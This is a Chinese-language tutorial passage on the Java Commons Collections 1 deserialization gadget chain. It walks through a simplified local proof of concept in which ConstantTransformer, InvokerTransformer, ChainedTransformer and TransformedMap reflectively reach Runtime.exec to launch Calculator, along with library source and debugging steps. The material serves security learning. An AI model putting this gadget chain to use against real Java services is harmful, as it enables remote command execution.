0x01 前言

在学习Java反序列化漏洞时,不可避免的部分就是要学习各种利用链了,达到真正的入门
而且其中的 CommonCollections 利用链(简称为cc链),堪称经典,也是必学的一条链

但是如果直接读 ysoserial 源码,中的poc,对于刚入门来说,难度系数实在是太大
因此就想先将利用链简化一波,先入门,在一步一步提升难度
最终在完成对 ysoserial 项目中的 CommonCollections1 利用链的解读

0x02 环境搭建

  1. 编辑器为: IntelliJ IDEA
  2. java版本:
  3. java version "1.7.0_80"
  4. Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
  5. Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
  6. 使用的架包:
  7. Commons Collections 3.1

如果懒的创建环境的话,也可以通过github下载该环境如下:
https://github.com/pmiaowu/DeserializationTest
下载完环境以后指定项目的java版本为: jdk1.7
image.png
image.png

如果想自己一点点安装环境的话,那就先查看下面这一篇文章的环境搭建部分,搭建基础环境,链接如下:
https://www.yuque.com/pmiaowu/gpy1q8/ygthda#r66fl
搭建一个基础的环境以后
进入 DeserializationTest 目录,打开 pom.xml 添加如下配置

  1. <dependencies>
  2. <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
  3. <dependency>
  4. <groupId>commons-collections</groupId>
  5. <artifactId>commons-collections</artifactId>
  6. <version>3.1</version>
  7. </dependency>
  8. </dependencies>

image.png

0x03 demo

  1. // 先创建个简易版的cc1攻击链
  2. // P牛Java安全漫谈上面抄的POC
  3. // 路径: /DeserializationTest/src/main/java
  4. // 文件名称: CommonCollections1Test1.java
  5. import org.apache.commons.collections.Transformer;
  6. import org.apache.commons.collections.functors.ConstantTransformer;
  7. import org.apache.commons.collections.functors.InvokerTransformer;
  8. import org.apache.commons.collections.functors.ChainedTransformer;
  9. import org.apache.commons.collections.map.TransformedMap;
  10. import java.util.HashMap;
  11. import java.util.Map;
  12. public class CommonCollections1Test1 {
  13. public static void main(String[] args) {
  14. // 要执行的命令
  15. String cmd = "open -a /System/Applications/Calculator.app";
  16. //构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码
  17. Transformer[] transformers = new Transformer[]{
  18. new ConstantTransformer(Runtime.class),
  19. new InvokerTransformer(
  20. "getMethod",
  21. new Class[]{String.class, Class[].class},
  22. new Object[]{"getRuntime", new Class[0]}
  23. ),
  24. new InvokerTransformer(
  25. "invoke",
  26. new Class[]{Object.class, Object[].class},
  27. new Object[]{null, new Object[0]}
  28. ),
  29. new InvokerTransformer(
  30. "exec",
  31. new Class[]{String.class},
  32. new Object[]{cmd}
  33. )
  34. };
  35. // 将 transformers 数组存入 ChaniedTransformer 这个继承类
  36. Transformer transformerChain = new ChainedTransformer(transformers);
  37. // 创建个 Map 准备拿来绑定 transformerChina
  38. Map innerMap = new HashMap();
  39. // 创建个 transformerChina 并绑定 innerMap
  40. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  41. outerMap.put("kk", "vvv");
  42. System.out.println("执行完毕");
  43. }
  44. }

接着运行该文件进行攻击测试,即可看到弹出了计算器
image.png
运行完毕以后能成功执行,就可以了,就先不要想这个链的攻击思路了
让我们先跳过分析,把基础打一打

在分析这条链的时候,有非常多的类,新人以前是没接触到的
因此在正式分析之前,让我们跟着上面的简易版poc,进行学习

这个简易版的poc,它只是一个用来在本地测试的类,不能算一个真正的反序列化链
因为它最终没把outerMap对象变成一个序列化流,但是非常适合拿来了解CC1链攻击过程

0x04 前置知识学习

0x04.1 Transformer

0x04.1.1 作用说明

首先 Transformer 类,是 Commons Collections 中提供的一个接口类
它只有一个代实现的 transform 方法

0x04.1.2 该类的重点源码

  1. public interface Transformer {
  2. Object transform(Object var1);
  3. }

0x04.1.3 小小疑问的解答

不知道读者们在使用这个 Transformer 类,时有没有一个疑问
就是明明 Transformer 类,是一个接口类啊!!!

而接口类在印象中是无法被实例化的,需要被其它普通类继承并实现的
而在我们上面的poc中,你可以看到写法是这样的,如下:

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer(
  4. "getMethod",
  5. new Class[]{String.class, Class[].class},
  6. new Object[]{"getRuntime", new Class[0]}
  7. ),
  8. new InvokerTransformer(
  9. "invoke",
  10. new Class[]{Object.class, Object[].class},
  11. new Object[]{null, new Object[0]}
  12. ),
  13. new InvokerTransformer(
  14. "exec",
  15. new Class[]{String.class},
  16. new Object[]{cmd}
  17. )
  18. };

明明是接口,但是为什么可以new呢?
其实这里并不是说真的new了接口
而是new了一个Transformer[]类型的数组回来,里面存储的是所有实现了Transformer接口的类对象
所以把它当成一个单纯的类型转换器即可

0x04.2 ConstantTransformer

0x04.2.1 作用说明

ConstantTransformer是继承并实现了Transformer接口方法的一个类

它的作用就是在实例化完以后通过构造函数接收一个对象
并且实现 Transformer接口的transform方法,为后面其它操作做服务

0x04.2.2 该类的重点源码

注: 只保留了必要的代码

  1. package org.apache.commons.collections.functors;
  2. import java.io.Serializable;
  3. import org.apache.commons.collections.Transformer;
  4. public class ConstantTransformer implements Transformer, Serializable {
  5. ...
  6. private final Object iConstant;
  7. ...
  8. public ConstantTransformer(Object constantToReturn) {
  9. this.iConstant = constantToReturn;
  10. }
  11. public Object transform(Object input) {
  12. return this.iConstant;
  13. }
  14. ...
  15. }

0x04.2.3 对应POC代码

  1. new ConstantTransformer(Runtime.class)

0x04.2.4 debug调试

首先通过idea直接点击 CommonCollections1Test1.java 中的 ConstantTransformer
进去到 ConstantTransformer类以后,对ConstantTransformer构造函数
打上一个断点,进行调试

如下操作:
image.png
image.png
image.png
image.png
通过debug可以清楚的看到
ConstantTransformer类的构造函数,只是将Runtime对象赋值给了this.iConstant变量
ConstantTransformer类的transform方法,也只是返回了this.iConstant

0x04.3 InvokerTransformer

0x04.3.1 作用说明

InvokerTransformer是继承并实现了Transformer接口方法的一个类

并且这个类的transform方法,实现了通过Java反射机制来进行执行任意代码的功能

可以说InvokerTransformer类就是这条链子能执行任意代码的关键类

0x04.3.2 该类的重点源码功能讲解

new InvokerTransformer这个类时,需要我们向构造函数传入三个参数
第⼀个参数,是待执⾏的⽅法名
第二个参数,是这个函数的参数列表的参数类型
第三个参数,是传给这个函数的参数列表

构造函数如下:
可以看得到构造函数只是进行了赋值操作

  1. public class InvokerTransformer implements Transformer, Serializable {
  2. ...
  3. private final String iMethodName;
  4. private final Class[] iParamTypes;
  5. private final Object[] iArgs;
  6. ...
  7. public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  8. this.iMethodName = methodName;
  9. this.iParamTypes = paramTypes;
  10. this.iArgs = args;
  11. }
  12. ...
  13. }

然后因为InvokerTransformer类继承了Transformer接口,所以必须实现transform方法
让我们看看transform方法做了什么

  1. public class InvokerTransformer implements Transformer, Serializable {
  2. ...
  3. private final String iMethodName;
  4. private final Class[] iParamTypes;
  5. private final Object[] iArgs;
  6. ...
  7. public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  8. this.iMethodName = methodName;
  9. this.iParamTypes = paramTypes;
  10. this.iArgs = args;
  11. }
  12. ...
  13. public Object transform(Object input) {
  14. if (input == null) {
  15. return null;
  16. } else {
  17. try {
  18. Class cls = input.getClass();
  19. Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
  20. return method.invoke(input, this.iArgs);
  21. } catch (NoSuchMethodException var5) {
  22. throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
  23. } catch (IllegalAccessException var6) {
  24. throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
  25. } catch (InvocationTargetException var7) {
  26. throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
  27. }
  28. }
  29. }
  30. }

InvokerTransformertransform方法,通过反射,执行了input对象的iMethodName方法
也就是说利用该方法就可以通过Java反射机制来执行任意代码

0x04.3.3 对应的POC代码

  1. new InvokerTransformer(
  2. "getMethod",
  3. new Class[]{String.class, Class[].class},
  4. new Object[]{"getRuntime", new Class[0]}
  5. )
  6. new InvokerTransformer(
  7. "invoke",
  8. new Class[]{Object.class, Object[].class},
  9. new Object[]{null, new Object[0]}
  10. )
  11. new InvokerTransformer(
  12. "exec",
  13. new Class[]{String.class},
  14. new Object[]{cmd}
  15. )

0x04.3.4 debug调试构造函数

首先通过idea直接点击 CommonCollections1Test1.java 中的 InvokerTransformer
进去到 InvokerTransformer类以后,先对ConstantTransformer类构造函数
打上一个断点,进行调试查看最终的内容

如下操作:
image.png
image.png
image.png
image.png

0x04.4 ChainedTransformer

ChainedTransformer类是继承并实现了Transformer接口方法的一个类

ChainedTransformer类实现了Transformer链式调用
只需要传入一个Transformer数组
ChainedTransformer就可以实现依次的去调用每一个Transformertransform方法,并且会将前一个回调返回的结果作为后一个的参数传入

简单的说: 它的作⽤是将内部的多个Transformer串在⼀起,将前一个回调返回的结果作为后一个的参数传入

看到transform方法是通过传入Trasnformer[]数组来对传入的数值进行遍历并且调用数组对象的transform方法

0x04.4.1 作用说明

ChainedTransformer是继承并实现了Transformer接口方法的一个类

ChainedTransformer类实现了Transformer链式调用

0x04.4.2 分析

先查看一下POC对应代码操作

  1. Transformer transformerChain = new ChainedTransformer(transformers);

transformers参数,传入了ChainedTransformer类的构造函数
跟进去看看

  1. package org.apache.commons.collections.functors;
  2. import java.io.Serializable;
  3. import java.util.Collection;
  4. import java.util.Iterator;
  5. import org.apache.commons.collections.Transformer;
  6. public class ChainedTransformer implements Transformer, Serializable {
  7. ...
  8. private final Transformer[] iTransformers;
  9. ...
  10. public ChainedTransformer(Transformer[] transformers) {
  11. this.iTransformers = transformers;
  12. }
  13. public Object transform(Object object) {
  14. for(int i = 0; i < this.iTransformers.length; ++i) {
  15. object = this.iTransformers[i].transform(object);
  16. }
  17. return object;
  18. }
  19. ...
  20. }

很清楚的看到ChainedTransformer类的构造函数
只是将传入的transformers参数,赋值给了本类的this.iTransformers成员变量里面

ChainedTransformer类的transform方法
会遍历this.iTransformers(Transformer数组)逐个去调用它的transform方法
并且会将前一个Transformer的执行返回的结果,作为后一个Transformer的参数传入
也就是前面说的链式调用!!!

接着debug一下,查看一下链式调用的执行过程
image.png
image.png
image.png

第一次运行,这里传入的是一个Runtime
image.png
image.png

第二次执行,可以看到已经将第一次执行的结果也就是Runtime类,赋值给了第二次执行的input参数了
image.png
image.png
此时的状态等于

  1. Class cls = input.getClass();
  2. Method method = cls.getMethod(getMethod,null);
  3. return method.invoke(input, getRuntime);

第三次执行,反射调用并且返回getRuntime对象
image.png
image.png
此时的状态等于

  1. Class cls = input.getClass();
  2. Method method = cls.getMethod(invoke, null);
  3. return method.invoke(input,null);

第四次执行,将实例化对象传入方法参数里面
image.png
image.png
此时的状态等于

  1. // 注: input = Runtime
  2. Class cls = input.getClass();
  3. Method method = cls.getMethod("exec", null);
  4. return method.invoke(input, "open -a /System/Applications/Calculator.app");

这样一个命令的链就大致构造好了
从这个debug可以完整的看出来
ChainedTransformer的作用就是将Transformer数组给拼接起来

口语化的大概梳理一下执行过程

  1. 先通过ConstantTransformer得到Runtime.class
  2. 然后通过InvokerTransformer反射执行得到getRuntime方法
  3. 接着在通过InvokerTransformer反射执行invoke得到一个Runtime对象
  4. 最后面在通过InvokerTransformer反射调用Runtime对象的exec方法造成命令执行

�通过分析了ChainedTransformer类,我们发现了关键点之一!!!
就是如何触发ChainedTransformer类的transform方法?

这就引出了TransformedMap类,继续向下看

0x04.5 TransformedMap

前面说过要想成功的命令执行就必须触发ChainedTransformer类的transform方法
而其中TransformedMap类的decorate方法就完美的符合要求了

0x04.5.1 对应的POC代码

  1. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  2. outerMap.put("kk", "vvv");

0x04.5.2 decorate方法功能说明

TransformedMapdecorate方法,会对Java标准数据结构Map做一个装饰

decorate方法接收的三个参数的作用分别为:
第⼀个参数作用为,接受修饰的一个Map
第二个参数接收值为,设置key时调用的Transformer
第三个参数接收值为,设置value时调用的Transformer

因此在实战中会创建一个ChainedTransformer,它的返回值为一个Transformer数组
然后将它绑定到一个TransformedMap上,这样当Mapkeyvalue,设置元素时
就会调用ChainedTransformer对应Transformer类的transform方法
最后面传出的outerMap即是修饰后的Map

0x04.5.3 分析

第一个问题,跟进TransformedMap类的构造函数,看看做了什么?
第二个问题,同时又为什么需要调用decorate方法?
第三个问题,为什么要调用TransformedMap类的put方法完成才能触发攻击?
第四个问题,除了TransformedMap类的put方法,还有别的方法可以么?

先看一眼TransformedMap类重点源码
如下:

  1. package org.apache.commons.collections.map;
  2. import java.io.IOException;
  3. import java.io.ObjectInputStream;
  4. import java.io.ObjectOutputStream;
  5. import java.io.Serializable;
  6. import java.util.Iterator;
  7. import java.util.Map;
  8. import java.util.Map.Entry;
  9. import org.apache.commons.collections.Transformer;
  10. public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
  11. ...
  12. protected final Transformer keyTransformer;
  13. protected final Transformer valueTransformer;
  14. public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  15. return new TransformedMap(map, keyTransformer, valueTransformer);
  16. }
  17. protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  18. super(map);
  19. this.keyTransformer = keyTransformer;
  20. this.valueTransformer = valueTransformer;
  21. }
  22. ...
  23. protected Object transformKey(Object object) {
  24. return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
  25. }
  26. protected Object transformValue(Object object) {
  27. return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
  28. }
  29. protected Map transformMap(Map map) {
  30. Map result = new LinkedMap(map.size());
  31. Iterator it = map.entrySet().iterator();
  32. while(it.hasNext()) {
  33. Entry entry = (Entry)it.next();
  34. result.put(this.transformKey(entry.getKey()), this.transformValue(entry.getValue()));
  35. }
  36. return result;
  37. }
  38. ...
  39. public Object put(Object key, Object value) {
  40. key = this.transformKey(key);
  41. value = this.transformValue(value);
  42. return this.getMap().put(key, value);
  43. }
  44. public void putAll(Map mapToCopy) {
  45. mapToCopy = this.transformMap(mapToCopy);
  46. this.getMap().putAll(mapToCopy);
  47. }
  48. }

第一个问题答案:
很清楚的看到TransformedMap类的构造函数
只是将传入的MapTransformer分别赋值给了本类对应的成员变量里面

第二个问题答案:
但是该构造函数的修饰符是protected,因此外部无法正常调用
同时经过查看发现decorate方法,会去调用该构造函数
这就是为什么要使用decorate方法,因为构造函数调不到

第三个问题答案:
那么回归正题,前面说过如何触发ChainedTransformer类的transform方法,就是能否命令执行的关键
因此这里需要做的就是搜索TransformedMap类里面谁调用了transform方法
image.png

通过下图,可以清楚的看到,触发点有三处
其中主要关注transformKey()transformValue()方法即可
因为checkSetValue()方法在类里面没有被调用,所以无法调用它
image.png

那么下一步就是寻找谁调用了transformKey()或是transformValue()方法,完成我们的攻击
通过下面一张图,可以明显看得到,只有put()putAll()方法调用了,因此可以作为漏洞触发点
image.png
主要说说put方法
调用put方法就会调用transformKey()或是transformValue()方法
从而导致transformKey()或是transformValue()方法,会去调用transform方法,执行命令

第四个问题答案:
当然有就是putAll()方法,只是该方法,本质就是循环调用put()而已

0x05 利用链过程

通过前置知识的学习,终于我们理通了Transformer的意义
那么现在就理一下整体的攻击流程

  1. # 利用链过程
  2. ├── TransformedMap.put()
  3. └── TransformedMap.transformValue()
  4. └── ChainedTransformer.transform()
  5. ├── ConstantTransformer.transform()
  6. ├── InvokerTransformer.transform()
  7. └── Method.invoke()
  8. └── Class.getMethod()
  9. ├── InvokerTransformer.transform()
  10. └── Method.invoke()
  11. └── Runtime.getRuntime()
  12. └── InvokerTransformer.transform()
  13. └── Method.invoke()
  14. └── Runtime.exec()

0x06 总结

通过P牛这个简单到不能在简单的demo也是成功让它执行命令
但是它现在只是一个用来在本地测试的类
还不算一个真正的反序列化链,因为在实际运用中,需要将该demo代码转换为序列化流

在本地中,可以通过outerMap.put("kk", "vvv");来触发漏洞
但是在实际中,需要找到一个类,读取恶意的序列化流,让它在反序列化的readObject()逻辑时
有类似Map.put()的操作,然后触发ChainedTransformer类的transform方法,最终执行恶意代码

注意: 本文非常重要,是CC1链中核心知识的一个补充学习,一定一定要学习并记在脑海中,理解了本篇文章,实际上其它文章就是如何让反序列化调用该demo的一个过程而已

未完待续….